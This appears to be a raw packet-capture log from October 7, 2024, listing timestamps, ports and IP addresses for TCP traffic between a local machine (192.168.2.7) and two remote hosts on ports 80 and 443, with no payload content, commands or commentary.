Oct 7, 2024 19:33:24.741712093 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.741760969 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.741769075 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.741847038 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.741859913 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.741869926 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.741967916 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.741993904 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.742031097 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.743375063 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.743396044 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.743460894 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.743587971 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.743599892 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.748578072 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.748596907 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.748610020 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.748621941 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.748634100 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.748636961 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.748652935 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.748680115 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.793684006 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793762922 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.793850899 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793863058 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793874979 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793884993 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793895006 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.793898106 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793905020 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.793934107 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.793936014 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793946981 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793957949 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793968916 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793976068 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.793981075 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.793988943 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.793992043 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794013023 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794028044 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794044018 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794056892 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794066906 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794085026 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794091940 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794101954 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794105053 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794114113 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794121981 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794146061 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794173956 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794183969 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794194937 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794207096 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794207096 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794228077 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794250965 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794275045 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794289112 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794302940 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794308901 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794317007 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794323921 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794337034 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794356108 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794615030 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794626951 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794639111 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794652939 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794661999 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794680119 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794737101 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794749975 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794763088 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794775009 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794780016 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794785023 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794800043 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794820070 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794902086 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794915915 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794928074 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794938087 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794940948 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794953108 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794960022 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794965982 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794977903 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794985056 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794987917 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.794995070 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.794997931 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795008898 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795016050 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795018911 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795038939 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795057058 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795478106 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795519114 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795567989 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795578957 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795591116 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795602083 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795605898 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795614004 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795618057 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795627117 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795631886 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795641899 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795664072 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795665979 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795675039 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795686960 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795692921 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795698881 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795707941 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795725107 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795743942 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795768023 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795778990 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795789957 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795799971 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795800924 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795809984 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795815945 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795825958 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795834064 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795835018 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795845032 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.795850039 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795866966 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.795880079 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796423912 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796474934 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796475887 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796488047 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796506882 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796513081 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796524048 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796535015 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796535969 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796544075 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796546936 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796562910 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796576977 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796586990 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796694994 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796705961 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796716928 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796729088 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796736002 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796740055 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796751022 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796755075 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796762943 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796775103 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796786070 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796787024 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796797991 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796808958 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796809912 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796819925 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796821117 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.796833992 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796844959 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.796863079 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797341108 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797384977 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797396898 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797409058 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797430992 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797445059 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797450066 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797456980 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797467947 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797477961 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797480106 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797492981 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797502995 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797523022 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797616005 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797627926 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797638893 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797650099 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797655106 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797662020 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797662973 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797672033 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797672987 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797684908 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797694921 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797694921 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797712088 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797712088 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797724962 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797730923 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797736883 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797744036 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797749043 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.797756910 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797768116 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.797789097 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.798369884 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.798408985 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.835129023 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.835179090 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.835190058 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.835200071 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.835202932 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.835220098 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.835262060 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.835347891 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.835359097 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.835367918 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.835406065 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.835406065 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880130053 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880186081 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880189896 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880206108 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880229950 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880243063 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880306005 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880343914 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880345106 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880373955 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880383015 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880410910 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880434036 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880453110 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880470037 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880475998 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880486965 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880487919 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880503893 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880508900 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880523920 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880525112 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880543947 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880553961 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880561113 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880584955 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880594015 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880603075 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880620956 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880621910 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880631924 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880640984 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880661011 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880675077 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880695105 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880712986 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880729914 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880739927 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880743980 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880753994 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880769968 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880773067 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880793095 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880808115 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.880949974 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880963087 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880975962 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.880986929 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881019115 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881130934 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881145954 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881160021 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881175995 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881190062 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881200075 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881205082 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881217957 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881232977 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881237030 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881248951 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881256104 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881263971 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881274939 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881278992 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881299973 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881323099 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881434917 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881469011 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881509066 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881524086 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881546974 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881556988 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881697893 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881711960 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881725073 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881731033 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881738901 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.881742954 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881762028 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.881774902 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882154942 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882169962 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882190943 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882215023 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882371902 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882386923 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882401943 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882410049 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882416010 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882421970 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882431030 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882437944 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882443905 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882452965 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882457972 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882474899 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882481098 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882498980 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882711887 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882725954 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882741928 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882752895 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.882756948 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882766008 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.882785082 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.885773897 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885787964 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885797977 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885808945 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885818958 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885818958 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.885831118 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885837078 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.885842085 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885869980 CEST	49791	80	192.168.2.7	147.45.44.104
